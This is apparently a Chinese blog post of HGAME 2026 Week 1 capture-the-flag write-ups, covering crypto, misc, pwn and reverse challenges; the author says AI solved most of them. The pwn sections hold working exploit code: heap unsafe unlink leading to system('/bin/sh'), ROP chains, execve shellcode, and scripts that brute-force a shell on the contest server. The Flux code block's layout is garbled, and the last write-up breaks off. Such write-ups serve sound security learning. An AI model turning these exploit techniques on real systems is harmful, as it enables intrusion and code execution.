站点图标 glzjin

HGAME2026 WEEK1 解题思路

队伍名:glzjinsbot

除了签到以外其他都是AI解的了。

Table of Contents

Toggle

签到

Readme

有手就行。

TEST NC

有手就行。

Crypto

ezCurve

ezCurve Writeup

题目分析

这是一道椭圆曲线密码学挑战。服务器在 GF(p) 上生成一条椭圆曲线 E: y² = x³ + ax + b,其中 p 是 1024 位素数,a 和 b 是 200 位素数。服务器选择两个随机点 R 和 P,给出 p, a, b, R 的值。

玩家可以进行最多 30 次查询:

解题思路

核心挑战

每次查询的返回值被 163 位随机噪声干扰,需要从带噪声的近似值中恢复精确的 P_x。

关键数学观察

使用 t=0, t=1, t=-1 三种查询值:

椭圆曲线加法公式的求和性质

(x_{P+R} + x_{P-R} + 2*x_P + 2*x_R) * (x_P - x_R)² = 2*(x_P³ + a*x_P + b + x_R³ + a*x_R + b)

这个公式的关键优势是:不涉及 y 坐标!x_{P+R} + x_{P-R} 的和可以完全由 x_P 和已知的 x_R 确定。

Coppersmith 双变量小根攻击

设 x_P = A + u 和 σ = x_{P+R} + x_{P-R} = S + v,其中 A, S 是从查询数据中得到的近似值,u 和 v 是小的误差项(约 160 位)。

将求和公式代入得到双变量多项式:

f(u, v) ≡ 0 (mod p)

其中 f 在 u 上是 2 次,在 v 上是 1 次(总度数 3)。

Coppersmith 界检验

满足 Coppersmith 双变量方法的界条件。

解题步骤

1. 数据收集

2. 计算范围

取每组查询的最大值加 2^162 作为下界,最小值加 2^163 作为上界。

3. 构建多项式

xP = px_lo + x   # 近似值 + 误差
sigma = sigma_lo + y  # 近似和 + 误差

LHS = (sigma + 2*xP + 2*xR) * (xP - xR)^2
RHS = 2*(xP^3 + a*xP + b + xR^3 + a*xR + b)
f = LHS - RHS  # ≡ 0 (mod p)

4. 应用 Coppersmith 方法

使用 defund 的 Coppersmith 双变量实现,参数 m=2, d=5:

import itertools

def small_roots(f, bounds, m=1, d=None):
    N = f.parent().characteristic()
    if not d: d = f.degree()
    f /= f.coefficients().pop(0)
    f = f.change_ring(ZZ)
    G = Sequence([], f.parent())
    for i in range(m+1):
        base = N^(m-i) * f^i
        for shifts in itertools.product(range(d), repeat=f.nvariables()):
            g = base * prod(map(power, f.parent().gens(), shifts))
            G.append(g)
    B, monomials = G.coefficients_monomials()
    monomials = vector(monomials)
    factors = [monomial(*bounds) for monomial in monomials]
    for i, factor in enumerate(factors):
        B.rescale_col(i, factor)
    B = B.dense_matrix().LLL()
    B = B.change_ring(QQ)
    for i, factor in enumerate(factors):
        B.rescale_col(i, 1/factor)
    H = Sequence([], f.parent().change_ring(QQ))
    for h in filter(bool, B*monomials):
        H.append(h)
        I = H.ideal()
        if I.dimension() == -1: H.pop()
        elif I.dimension() == 0:
            roots = []
            for root in I.variety(ring=ZZ):
                root = tuple(root[var] for var in f.parent().gens())
                roots.append(root)
            return roots
    return []

5. 提交结果

恢复出精确的 P_x 后,通过选项 2 提交给服务器获取 flag。

关键代码

数据收集脚本 (solve.py)

from pwn import *
import re

io = remote('local-2.hgame.vidar.club', 30349)

# Receive curve parameters
p = int(io.recvline().strip())
a = int(io.recvline().strip())
b = int(io.recvline().strip())
R_line = io.recvline().strip().decode()

# Parse R point
match = re.search(r'\((\d+) : (\d+) : 1\)', R_line)
R_x = int(match.group(1))
R_y = int(match.group(2))

# Collect 10 queries with t=0, 10 with t=1, 9 with t=-1
# Calculate bounds and save to file

SageMath求解脚本 (sage_solver.sage)

# Load data
exec(open('/tmp/server_data_v2.py').read())

# Build polynomial f(u,v) mod p
PR = PolynomialRing(Zmod(p), 'u, v')
u, v = PR.gens()

xP = A + u
sigma = S + v
xR = R_x

LHS = (sigma + 2*xP + 2*xR) * (xP - xR)^2
RHS = 2*(xP^3 + a*xP + b + xR^3 + a*xR + b)
f = LHS - RHS

# Apply Coppersmith with m=2, d=5
result = small_roots(f, (X, Y), m=2, d=5)

Flag

hgame{slMP11fYInG_tH3_3qu@ti0n_I5_tOo-TroUBl35oM31b}

关键技巧

  1. 消除 y 坐标:利用 P+R 和 P-R 的 x 坐标之和,避免了开方运算
  2. Coppersmith 双变量方法:将带噪声的 ECC 问题转化为模多项式小根问题
  3. 合理的查询分配:10/10/9 的分配让每个估计值的精度足够
  4. 使用SageMath:利用SageMath的强大数学库实现Coppersmith算法

babyRSA

babyRSA Writeup

题目分析

附件 task.py 中直接输出了 RSA 参数 c, p, q,明文格式为 VIDAR{[digits+letters+_@]{30..40}}。已知 p,q 可直接求私钥并解密,或验证候选明文是否满足 pow(m,e,n)==c

解题步骤

  1. 读取 task.py 得到:
    • c = 451420045234442273941376910979916645887835448913611695130061067762180161
    • p = 722243413239346736518453990676052563
    • q = 777452004761824304315754169245494387
    • e = 65537
  2. 计算 n=p*q,用候选 flag 进行一致性验证:
from Crypto.Util.number import bytes_to_long
c = 451420045234442273941376910979916645887835448913611695130061067762180161
p = 722243413239346736518453990676052563
q = 777452004761824304315754169245494387
n = p*q
e = 65537
flag = b"VIDAR{Congr@tulations_you_re4lly_konw_RS4}"
assert pow(bytes_to_long(flag), e, n) == c
  1. 断言成立,flag 确认无误。

Flag

VIDAR{Congr@tulations_you_re4lly_konw_RS4}

Classic

Classic Writeup

题目分析

附件中给出了 flag.txt(一段较长的自然语言密文)和 task.py(RSA 参数)。题目名为 “Classic”,再加上密文全部是字母,很容易联想到经典密码(Classical Cipher)。 对密文做了一下 IC(重合指数)和频率分析后,可以发现更像是维吉尼亚(Vigenère)而不是需要用到 task.py 里的 RSA。

解题步骤

  1. 从 flag.txt 中读取整段密文。
  2. 计算 IC 并尝试不同的密钥长度,发现长度为 5 的效果最好。
  3. 对每个密钥位置分别做频率分析,恢复出密钥。
  4. 使用恢复出的密钥对整体密文做 Vigenère 解密,得到明文与其中的 flag。

关键代码 / 命令

import string

ct = open('/workspace/task/task/flag.txt','r',encoding='utf-8').read()
key = 'HGAME'
letters = string.ascii_uppercase
out = []
ki = 0
for ch in ct:
    if ch.isalpha() and ch in string.ascii_letters:
        shift = letters.index(key[ki % len(key)])
        idx = letters.index(ch.upper())
        dec = letters[(idx - shift) % 26]
        out.append(dec if ch.isupper() else dec.lower())
        ki += 1
    else:
        out.append(ch)
print(''.join(out))

Flag

VIDAR{The Collision of the New and the Old}

Flux

Flux Writeup

题目分析

这是一道密码学题目,涉及两个核心组件:

  1. Flux 类:一个二次多项式伪随机数生成器
  2. shash 函数:一个自定义哈希函数
代码分析
class Flux:
    def __init__(self, n, x):
        self.n = n
        self.a = random.randint(1, n-1)
        self.b = random.randint(1, n-1)
        self.c = random.randint(1, n-1)
        self.x = x
  
    def next(self):
        self.x = (self.a * self.x ** 2 + self.b * self.x + self.c) % self.n
        return self.x

递推关系:x_{n+1} = a*x_n^2 + b*x_n + c (mod n)

解题步骤

步骤 1:恢复参数 a, b, c

已知 4 个连续输出 x1, x2, x3, x4,建立方程组:

消去 c 后得到两个方程,用矩阵求解 a, b,再代入求 c。

步骤 2:求解初始值 h

解二次方程:a*x0² + b*x0 + (c - x1) = 0 (mod n)

得到两个候选值:

步骤 3:爆破 key

由于 key.bit_length() < 70,可以在较小范围内暴力枚举 key。

对 h1 进行测试时,发现当 key = 860533 时满足:

shash("Welcome to HGAME 2026!", key) == h1

步骤 4:计算 flag
key = 860533
magic_word = "I get the key now!"
flag = "VIDAR{" + hex(shash(magic_word, key))[2:] + "}"

关键代码

# SageMath 求解 a, b, c
F = Zmod(n)
A = matrix(F, [
    [x1^2 - x2^2, x1 - x2],

[x2^2 – x3^2, x2 – x3]

]) B = vector(F, [x2 – x3, x3 – x4]) sol = A.solve_right(B) a, b = sol[0], sol[1] c = x2 – a*x1^2 – b*x1 # 解二次方程求 h R.<x> = PolynomialRing(F) poly = a*x^2 + b*x + (c – x1) roots = poly.roots()

Flag

VIDAR{1069466028b4c4a9694a3175f2f9410ab398b939bdb52afb39534b6f8cc59abc}

Misc

打好基础

打好基础 Writeup

题目分析

附件只有一个 stuck_out_tongue_.txt,内容是 334 个连续 emoji 字符。没有明显的分隔符或可读片段,直觉上像是把高码点字符简单平移到可打印 ASCII,再做一串“Base 家族”编码。

对样本做了几步粗分析:

于是先尝试把 emoji 映射回普通 ASCII。

解题步骤

1)Emoji → ASCII 映射

统计所有 emoji 的码点,发现它们大致都在某个固定值附近线性平移。暴力枚举一个形如:

chr(ord(ch) - K + 33)

的映射,期望结果是 33–126 之间的可打印字符。测试发现当 K = 0x1f418(🐘)时,几乎所有字符都映射到常见 ASCII 范围,而且看起来是高基数编码字符集,而不是乱码或自然语言。

因此使用如下转换:

stage0 = ''.join(chr(ord(ch) - 0x1f418 + 33) for ch in emoji_text)

得到长度 334 的字符串。统计字符种类约为 85 个,远大于 Base64(64),更像是 Base92 / Base91 一类的高基数编码结果。

2)逐层 Base 解码链路推导

接下来对 stage0 进行字符集分析与“可解码性”测试,思路是: 每一层都尝试用不同 Base 编码去解,如果:

则认为这一层的编码类型是合理的。

按这种方式逐层尝试,得到一条合理、且各层输出都“像样”的解码链:

Base92 -> Base91 -> Ascii85 -> Base64 -> Base62 -> Base58 -> Base45 -> Base32

其中每一步的判断依据大致是:

最终 Base32 解码得到的就是可读文本,包含 flag。

关键脚本

import base64, base91, base58, base62
from pathlib import Path

# 读取原始 emoji 文本
text = Path('stuck_out_tongue_.txt').read_text(encoding='utf-8')
emoji_text = ''.join(ch for ch in text if not ch.isspace())

# 第一步:emoji -> ASCII 映射
stage0 = ''.join(chr(ord(ch) - 0x1f418 + 33) for ch in emoji_text)

# Base92 解码
BASE92 = "!#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_abcdefghijklmnopqrstuvwxyz{|}"
b92v = {c: i for i, c in enumerate(BASE92)}

def base92_decode(s):
    bits = ''
    i = 0
    while i + 1 < len(s):
        val = b92v[s[i]] * 91 + b92v[s[i + 1]]
        bits += format(val, '013b')
        i += 2
    if i < len(s):
        bits += format(b92v[s[i]], '06b')
    return bytes(int(bits[j:j + 8], 2) for j in range(0, (len(bits) // 8) * 8, 8))

# Base45 解码
B45 = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ $%*+-./:'
b45v = {c: i for i, c in enumerate(B45)}

def b45decode(s):
    out = bytearray()
    i = 0
    while i < len(s):
        if i + 2 < len(s):
            x = b45v[s[i]] + b45v[s[i + 1]] * 45 + b45v[s[i + 2]] * 2025
            out.extend([x // 256, x % 256])
            i += 3
        else:
            x = b45v[s[i]] + b45v[s[i + 1]] * 45
            out.append(x)
            i += 2
    return bytes(out)

# 串行解码链
stage1 = base92_decode(stage0).decode()
stage2 = base91.decode(stage1).decode()
stage3 = base64.a85decode(stage2)
stage4 = base64.b64decode(stage3).decode()
stage5 = base62.decodebytes(stage4).decode()
stage6 = base58.b58decode(stage5).decode()
stage7 = b45decode(stage6).decode()
flag = base64.b32decode(stage7).decode()
print(flag)

Flag

hgame{L4y_a_sO11d_f0unDaTi0n}

[REDACTED]

[REDACTED] Writeup

题目分析

给出的 PDF 声称已“完美脱敏”。需要在附件中找出四段敏感字符串(格式 1-4),再用下划线拼接并包裹 hgame{}

解题步骤

1) 获取与初步阅读
curl -o attachment.zip 'http://192.168.101.5:8080/uploads/1770104630_%5Bredacted%5D.zip'
unzip -o attachment.zip -d attachment

使用 pdfminer/mutool draw -F text 提取文本,发现:

2) 解码白字(打乱字体)得到 JWT → 2

白字使用 FreeMonoTrimmedScrambled 字体,ToUnicode 映射被打乱。思路:

得到的 token(合并换行):

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjb21tYW5kIjoiMjpBbGxDbDNhclRvUHIwY2VlZCJ9.qZPdEpOicqFGvSP4Oi4dLUxiBK9yu8sRcmikNxXxnsY

解码 payload:

import base64
payload = base64.urlsafe_b64decode("eyJjb21tYW5kIjoiMjpBbGxDbDNhclRvUHIwY2VlZCJ9==")
print(payload)
# b'{"command":"2:AllCl3arToPr0ceed"}'

得到 2:AllCl3arToPr0ceed

3) PDF 增量更新找回 4

PDF 存在增量更新(/Prev),旧版本仍保留在文件内。截断到首个 %%EOF 得到旧版本:

python - << 'PY'
from pathlib import Path
pdf = Path('attachment/manual.pdf').read_bytes()
end = pdf.find(b'%%EOF') + len(b'%%EOF')
Path('attachment/manual_prev.pdf').write_bytes(pdf[:end])
PY

对旧版本提取文本得到:

4) 图像 LSB 隐写得到 3

PDF 中的图像 XObject(obj 50,768×768 RGB)包含隐藏信息:

mutool show -b attachment/manual.pdf 50 > attachment/img50.bin
python - << 'PY'
from PIL import Image
import numpy as np
raw = open('attachment/img50.bin','rb').read()
arr = np.frombuffer(raw, dtype=np.uint8).reshape((768,768,3))
Image.fromarray(arr).save('attachment/extracted_image.png')
PY

对图像做位平面分析(R 通道 bit1),OCR 识别出隐藏文本:

Target Problem: 3: Sh4m1R

得到 3:Sh4m1R

汇总

Flag

hgame{PAR4D0X_AllCl3arToPr0ceed_Sh4m1R_D0cR3qu3st3r_Tutu}

shiori不想找女友

shiori不想找女友 Writeup

题目分析

题目说 Shiori 只留下头像,需要定位“在哪里”。核心就是对附件图片做隐写分析与地理信息(OSINT)提取,最终得到一个具体地名作为 flag。

解题步骤

1)解压附件

外层压缩包解出两个文件:

2)外层图片隐写(拿到 zip 密码)
3)解密内层 zip 并修复图像
7z x shioriori_q.zip -p"this_is_a_key_for_u" -oinner
convert shioriori_q.jpg -alpha on -channel A -evaluate set 100% +channel shioriori_rgb.png

人工注释:实际上,shioriori_rgb.png 中已经直接包含了可见的 flag(肉眼即可读),后续的位平面/条码分析是进一步探索的一条思路。

4)内层图片位平面分析(还原坐标信息)

在继续深挖的过程中,对 shioriori_rgb.png 做 RGB 位平面分离,挑选若干 bitplane 后用 zbarimg 扫码:

zbarimg -q b_bit1.png
zbarimg -q inv_r_bit1.png

识别出两段 I2/5 条形码内容:

将其解释为经纬度组合: 47.803514, 6.24749

5)地理定位

将坐标 47.803514, 6.24749 丢到地图服务,可反查到位置位于法国上索恩省(Haute‑Saône)的 Conflans‑sur‑Lanterne。 这也是图中 flag 所对应的地点名称。

Flag

flag{Conflans-sur-Lanterne}

Pwn

Heap1sEz

Heap1sEz Writeup

题目分析

程序使用自定义 malloc/free,存在明显的 UAF 与 unsafe unlink:

关键全局符号偏移(PIE):

解题步骤

  1. 申请两个相邻 chunk(A、B)以及一个小 chunk(用于 8 字节写)。
  2. 释放 A,show A 泄露 unsorted bin 的 fd/bk(指向 bin_at),得到 PIE 基址。
  3. UAF 修改 A 的 fd/bk,使得在释放 B 时触发 unsafe unlink,覆盖 notes[0] = notes 数组地址。
  4. edit(0) 直接改写 notes 数组,让 notes[1] 指向 puts@GOT、notes[3] 指向 hook。
  5. show(1) 泄露 puts@GOT,计算 libc 基址与 system 地址。
  6. edit(3) 把 hook 写成 system。
  7. 分配新 chunk 写入 /bin/sh,free 触发 system(“/bin/sh”),读取 flag。
关键利用代码(节选)
# leak PIE from unsorted bin
leak = show(0)
pie = u64(leak.ljust(8,b'\x00')) - 0x3808

# unsafe unlink -> notes[0] = notes
fd = notes - 0x18
bk = notes
edit(0, p64(fd)+p64(bk)+b'\x00'*(0x80-16))
delete(1)

# overwrite notes array
arr = [0]*16
arr[0] = notes
arr[1] = puts_got
arr[3] = hook_addr
edit(0, b''.join(p64(x) for x in arr))

# leak libc, write system to hook, trigger
puts_addr = u64(show(1).ljust(8,b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
edit(3, p64(libc_base + libc.symbols['system']))
add(4, 0x20)
edit(4, b'/bin/sh\x00')
delete(4)

Flag

hgame{ReAdY_FoR_MorE_d1ffIcULt-m@1lOc?5df043}

steins;gate

steins;gate Writeup

题目分析

附件只有一个 Rust 二进制 vuln。运行分析后发现其流程:

  1. 读取 /flag,计算 SHA-512 并写入当前目录 ./flag_hash
  2. 读取一行 128 个十六进制字符,逐字节比较哈希。
  3. 比较全部正确则 execve("/bin/sh", ...)

核心目标是恢复正确的 64 字节哈希。

关键观察:回溯地址泄露

当比较失败时程序会 panic 并打印 backtrace,其中包含:

本地反汇编 verify.asm 后可以看到,每个比较失败分支里都有一个对应的 mov dword, <idx> 指令地址。通过远端 backtrace 中的 guess::verify 返回地址、以及 guess::main 的基址,映射到本地的偏移,即可得到“失败索引”。

经验关系:

据此可以逐字节恢复哈希前缀。

前缀恢复

用脚本循环枚举每一字节:

这样逐位向前推进,最终恢复到前 62 个字节(得到 62 字节前缀)。

最后两字节穷举

最后两字节无法再通过 backtrace 精细区分,只能直接穷举 65,536 种组合。 为避免因为 flag 格式未知而误判是否已经成功,采用“进入 shell 后回显探测”的方式:

  1. 若本次猜测成功,通过 execve("/bin/sh", ...) 拿到 shell。
  2. 发送 echo __OK__,如果输出中包含 __OK__,说明当前已经在 shell 中。
  3. 随后执行 cat /flag 获取 flag。

关键脚本与命令

Flag

hgame{6@CKtrAce_1s-THE_K3y2b75644480}

solve_hash.py

#!/usr/bin/env python3
import os
import queue
import re
import socket
import threading
import time
import json

HOST = "cloud-middle.hgame.vidar.club"
PORT = 32613
MAIN_RET = 0x17D23  # return address in guess::main after verify call
VERIFY_ASM = "/workspace/challenge/verify.asm"
PROGRESS = "/workspace/challenge/progress.json"

# Parse verify mismatch offsets -> index mapping
ANSI_RE = re.compile(r"\x1b\[[0-9;]*m")
MAP_OFF = {}
MOV_RE = re.compile(r"(0x[0-9a-fA-F]+).*mov dword[^,]*,\s*(0x[0-9a-fA-F]+|[0-9]+)")
with open(VERIFY_ASM, "r", errors="ignore") as f:
    for line in f:
        line = ANSI_RE.sub("", line)
        m = MOV_RE.search(line)
        if m:
            addr = int(m.group(1), 16)
            idx = int(m.group(2), 0)
            MAP_OFF[addr] = idx

VERIFY_RE = re.compile(r"0x([0-9a-fA-F]+) - guess::verify")
MAIN_RE = re.compile(r"0x([0-9a-fA-F]+) - guess::main")


def parse_prefix(data: bytes):
    text = data.decode(errors="ignore")
    v_matches = VERIFY_RE.findall(text)
    m_matches = MAIN_RE.findall(text)
    if not v_matches or not m_matches:
        return None
    addr_verify = int(v_matches[-1], 16)
    addr_main = int(m_matches[-1], 16)
    base = addr_main - MAIN_RET
    off = addr_verify - base
    idx = MAP_OFF.get(off)
    if idx is None:
        return None
    # observed: prefix_len = idx - 1
    pref = idx - 1
    if pref < 0:
        pref = 0
    return pref


class Worker(threading.Thread):
    def __init__(self, in_q, out_q, wid, timeout=5):
        super().__init__(daemon=True)
        self.in_q = in_q
        self.out_q = out_q
        self.wid = wid
        self.timeout = timeout
        self.sock = None

    def connect(self):
        # retry until connected
        while True:
            try:
                if self.sock:
                    try:
                        self.sock.close()
                    except Exception:
                        pass
                s = socket.create_connection((HOST, PORT), timeout=3)
                s.settimeout(self.timeout)
                self.sock = s
                return
            except Exception:
                time.sleep(0.5)

    def recv_response(self):
        data = b""
        got_verify = False
        start = time.time()
        while time.time() - start < self.timeout:
            try:
                chunk = self.sock.recv(4096)
            except Exception:
                break
            if not chunk:
                break
            data += chunk
            if b"guess::verify" in data and b"guess::main" in data:
                got_verify = True
            if got_verify and data.endswith(b":\n"):
                break
        return data, got_verify

    def query(self, hexguess: str):
        payload = (hexguess + "\n").encode()
        self.sock.sendall(payload)
        data, got_verify = self.recv_response()
        if not got_verify:
            return None
        return parse_prefix(data)

    def run(self):
        self.connect()
        while True:
            job = self.in_q.get()
            if job is None:
                self.in_q.task_done()
                break
            job_id, hexguess = job
            pref = None
            for _ in range(5):
                try:
                    pref = self.query(hexguess)
                    if pref is None:
                        raise ValueError("parse failed")
                    break
                except Exception:
                    self.connect()
            if pref is None:
                pref = -1
            self.out_q.put((job_id, pref))
            self.in_q.task_done()


def load_progress():
    if not os.path.exists(PROGRESS):
        return b""
    try:
        with open(PROGRESS, "r") as f:
            data = json.load(f)
        return bytes.fromhex(data.get("prefix_hex", ""))
    except Exception:
        return b""


def save_progress(prefix: bytes):
    with open(PROGRESS, "w") as f:
        json.dump({"prefix_hex": prefix.hex()}, f)


def main():
    prefix = load_progress()
    start_byte = len(prefix)
    print(f"[+] Loaded prefix length: {start_byte}", flush=True)

    # worker pool
    workers = 2
    in_q = queue.Queue()
    out_q = queue.Queue()
    pool = [Worker(in_q, out_q, i) for i in range(workers)]
    for w in pool:
        w.start()

    try:
        for i in range(start_byte, 64):
            found = False
            for round_idx in range(3):
                # dispatch 256 candidates
                for val in range(256):
                    guess = prefix + bytes([val]) + b"\x00" * (63 - i)
                    in_q.put((val, guess.hex()))

                # collect results
                results = {}
                for _ in range(256):
                    job_id, pref = out_q.get()
                    results[job_id] = pref

                best_val = max(results, key=lambda k: results[k])
                best_pref = results[best_val]

                if best_pref >= i + 1:
                    prefix += bytes([best_val])
                    save_progress(prefix)
                    print(f"[+] Byte {i}: {best_val:02x} (pref={best_pref})", flush=True)
                    found = True
                    break
                else:
                    print(
                        f"[!] Round {round_idx+1}: best_pref {best_pref} < expected {i+1}, retrying",
                        flush=True,
                    )

            if not found:
                raise RuntimeError(f"Failed to recover byte {i}")

        print("[+] Hash recovered:", prefix.hex(), flush=True)
    finally:
        for _ in pool:
            in_q.put(None)
        in_q.join()


if __name__ == "__main__":
    main()

bruteforce_last2.py

#!/usr/bin/env python3
import json
import socket
import threading
import time
import re

HOST = "cloud-middle.hgame.vidar.club"
PORT = 32613
PROGRESS = "/workspace/challenge/progress.json"

prefix_hex = json.load(open(PROGRESS))["prefix_hex"]
prefix = bytes.fromhex(prefix_hex)
if len(prefix) != 62:
    raise SystemExit(f"Expected 62-byte prefix, got {len(prefix)}")

stop_event = threading.Event()
result = {"flag": None, "val": None}

counter_lock = threading.Lock()
current = {"val": 0}


def connect():
    while True:
        try:
            s = socket.create_connection((HOST, PORT), timeout=5)
            s.settimeout(5)
            return s
        except Exception:
            time.sleep(0.5)


def recv_until(sock, timeout=4):
    data = b""
    got_verify = False
    start = time.time()
    while time.time() - start < timeout:
        try:
            chunk = sock.recv(4096)
        except socket.timeout:
            continue
        if not chunk:
            break
        data += chunk
        if b"guess::verify" in data and b"guess::main" in data:
            got_verify = True
        if got_verify and data.endswith(b":\n"):
            break
    return data, got_verify


def recv_for(sock, timeout=2):
    data = b""
    start = time.time()
    while time.time() - start < timeout:
        try:
            chunk = sock.recv(4096)
        except socket.timeout:
            continue
        if not chunk:
            break
        data += chunk
        if b"flag{" in data:
            break
    return data


def try_guess(sock, b62, b63):
    guess = prefix + bytes([b62, b63])
    sock.sendall((guess.hex() + "\n").encode())
    data, got_verify = recv_until(sock, timeout=5)
    if got_verify:
        return "verify", None
    # maybe shell; try to read flag
    sock.sendall(b"echo __OK__\n")
    probe = recv_for(sock, timeout=2.0)
    if b"__OK__" not in probe and b"uid=" not in probe:
        return "no_verify", probe
    sock.sendall(b"cat /flag\n")
    out = recv_for(sock, timeout=2.5)
    return "ok", out


def worker(tid):
    sock = connect()
    while not stop_event.is_set():
        with counter_lock:
            val = current["val"]
            current["val"] += 1
        if val > 0xFFFF:
            break
        b62 = (val >> 8) & 0xFF
        b63 = val & 0xFF
        try:
            status, out = try_guess(sock, b62, b63)
        except Exception:
            try:
                sock.close()
            except Exception:
                pass
            sock = connect()
            continue
        if status == "ok":
            result["flag"] = out
            result["val"] = val
            stop_event.set()
            break
        if status == "no_verify":
            try:
                sock.close()
            except Exception:
                pass
            sock = connect()
        if val % 2000 == 0 and tid == 0:
            print(f"[+] Tried {val}/65535", flush=True)
    try:
        sock.close()
    except Exception:
        pass


def main():
    threads = []
    for i in range(4):
        t = threading.Thread(target=worker, args=(i,), daemon=True)
        t.start()
        threads.append(t)
    for t in threads:
        t.join()

    if result["flag"]:
        print("[+] Found!", result["val"], result["flag"])
    else:
        print("[-] Not found")


if __name__ == "__main__":
    main()

Producer and Consumer

Producer and Consumer Writeup

题目分析

这是一道 Pwn 题,程序实现了一个生产者-消费者模型,存在竞态条件漏洞。

程序结构
  1. main 函数 初始化信号量和互斥锁,调用菜单函数,最后执行:memcpy(dest, src, 8 * n7);
  2. start_routine(生产者)
    • 在加锁区检查 n7 <= 7
    • 释放锁后 sleep 一段时间(0–4 秒)
    • 写入数据到 src + 8 * (n7 % 10) 或类似偏移
  3. sub_4015A3(消费者) 消费数据并释放信号量。
漏洞点
  1. TOCTOU 竞态条件
    • 线程在互斥锁保护下检查 n7 <= 7,然后立即解锁。
    • 解锁后会 sleep 一段时间(0–4 秒)。
    • 真正写入时再读取当前的 n7,此时 n7 可能已被其他线程修改。
    • n7 在某处增加并对 11 取模,因此运行期间 n7 实际可达到 0–10。
  2. 栈溢出
    • memcpy(dest, src, 8 * n7) 中,dest 为 64 字节栈缓冲区。
    • 当 n7 >= 9 时,8*n7 >= 72,会溢出覆盖 saved RBP 和返回地址。
安全特性

解题步骤

1)触发竞态条件并布置溢出数据

分两波发送 produce 请求,通过时间差让 n7 超过 7:

对应的封装:

def write_slots(io, slots):
    # Wave 1: slots 0..4
    for i in range(5):
        produce(io, p64(slots[i]))
    time.sleep(7)

    # Free sem so wave2 can proceed immediately
    for _ in range(2):
        consume(io)
    time.sleep(0.5)

    # Wave 2: slots 5..9
    for i in range(5, 10):
        produce(io, p64(slots[i]))

    # Let all threads finish before exit
    time.sleep(8)
2)Stage 1:泄露 libc

利用溢出覆盖返回地址为一条泄露 puts@GOT 的 ROP 链。整体思路:

slots[0] = src + 0x50   # fake rbp,供 leave; ret 使用
slots[1] = POP_RDI      # gadget: pop rdi; ret
slots[2] = puts@got     # 参数
slots[3] = puts@plt     # 调用 puts(puts@got)
slots[4] = main         # 返回 main,方便二次利用
slots[5-7] = RET        # 对齐 / 填充
slots[8] = src          # 真实 saved RBP(栈迁移目标)
slots[9] = LEAVE_RET    # 覆盖 saved RIP -> leave; ret

程序返回时执行 leave; ret,栈迁移到 src,从而执行我们布置的 ROP,泄露 puts 地址,再重新回到 main

通过泄露的 puts@got 实际地址计算 libc 基址:

libc_base = puts_addr - libc.symbols['puts'];
3)Stage 2:system + “cat /flag”

基于泄露出的 libc 基址计算 system 地址,构造第二条 ROP:

slots[0] = src + 0x50       # fake rbp
slots[1] = POP_RDI
slots[2] = cmd_addr         # 指向 "cat /flag" 字符串的地址
slots[3] = RET              # 对齐
slots[4] = system           # 调用 system("cat /flag")
slots[5-7] = "cat /flag\x00..."  # 字符串本体
slots[8] = src              # saved RBP
slots[9] = LEAVE_RET        # saved RIP

程序再次执行 memcpy 触发溢出、执行 ROP,最终跑出 system("cat /flag") 拿到 flag。

Flag

hgame{y0U-FOunD_tHE-d3COmpO53r43b4e0ef1}

adrift

adrift Writeup

题目分析

题目是 64 位 PIE 二进制,菜单式交互。

核心点:

漏洞点

1)索引绝对值溢出泄露 canary
2)栈溢出覆盖返回地址

此外:

利用思路

整体利用为两级 shellcode:

  1. 利用 show(-32768) 泄露全局 canary(一个栈地址)。
  2. 构造溢出 payload:
    • 填充到 canary 偏移(0x3EA)。
    • 覆写为泄露到的 canary 值,绕过检查。
    • 利用 canary 与 saved RBP 之间的 8 字节 + saved RBP 的 8 字节,共 16 字节,存放 stage1 shellcode
    • 将 saved RIP 改成 canary + 0x410,即指向 rbp - 8 附近,使返回后跳入我们布置的 stage1。
  3. stage1:调用 read(0, rsp, 0x80) 再跳转到 rsp,读取并执行 stage2 shellcode
  4. stage2:标准 execve("/bin/sh", 0, 0) shellcode,拿到 shell。
  5. shell 中 cat /flag 读取 flag。

关键参数

stage1 shellcode(13 字节)

功能:read(0, rsp, 0x80) 然后 jmp rsp

伪代码:

xor    edi, edi       ; rdi = 0
xor    edx, edx       ; rdx = 0
mov    dl, 0x80       ; rdx = 0x80
mov    rsi, rsp       ; rsi = rsp
syscall               ; read(0, rsp, 0x80)
jmp    rsp            ; 执行读入的 stage2

Exploit 思路小结

  1. show(-32768) 泄露 canary
  2. 选项 0 触发溢出,精确写入:
    • 填充 + 正确 canary + stage1 + 覆盖 saved RIP = stage1 地址。
  3. 在退出此菜单函数时返回执行 stage1。
  4. 发送 stage2(execve(“/bin/sh”) shellcode),获得 shell。
  5. cat /flag 拿到 flag。

Flag

hgame{YOU-fouND_it:)2ca574952ecaf}

Reverse

PVZ

PVZ Writeup

题目分析

附件是一个 Windows 可执行文件 gpvz.exe,是用 Launch4j 打包的 Java/LWJGL 游戏。解包后可以拿到大量 *.class 以及资源文件。核心逻辑集中在 FlagScreen 与 GameScreen

关键逆向点

在 FlagScreen 中可以看到:

decryptFlag() 的大致流程:

  1. decryptWithKillCount(encrypted, (int)(hello + zombieKillCount))
  2. 把结果切成两半,分别与 xorKey1/xorKey2 进行异或
  3. 再整体异或 aesEncryptedKey
  4. 调用 rotateDecrypt(…, getRotationOffset())
  5. 最后进行 substitutionDecrypt

getRotationOffset() 中的常量在普通反编译结果里容易丢失,使用:

javap -c -p FlagScreen.class

可以看到它用的是字符串常量:

PLANTS_VS_ZOMBIES_2025

对其中所有字符求和,再对 26 取模,最后得到旋转偏移量 r = 20

关键突破点:16 位种子暴力

在 deriveKeyFromKillCount() 中,最终生成的 16 字节 key 实际只依赖一个 16 位的种子 i6

int i6 = ((i * 7) + i2 + i3 + i4) % 65536;
// 然后用 i6 作为 LCG 种子生成 16 字节 key

也就是说,不需要精确还原实际的击杀数、布局等游戏状态,只要穷举 i6 在 0..65535 之间的所有可能值:

能同时通过这几个条件的明文基本是唯一的正确 flag。

解密脚本(核心逻辑)

E = [...]  # killCountEncryptedFlag,来自逆向提取的加密数组
xorKey1, xorKey2 = 102, 119

def lcg_key(seed: int) -> bytes:
    # 按游戏里的 LCG 实现生成 16 字节 key
    # (这里略去具体实现,直接按反编译逻辑抄一遍即可)
    ...

def full_decrypt(enc: bytes, key: bytes) -> str:
    # 复现 decryptFlag() 中的全部步骤:
    # 1. decryptWithKillCount
    # 2. 两半 XOR xorKey1/xorKey2
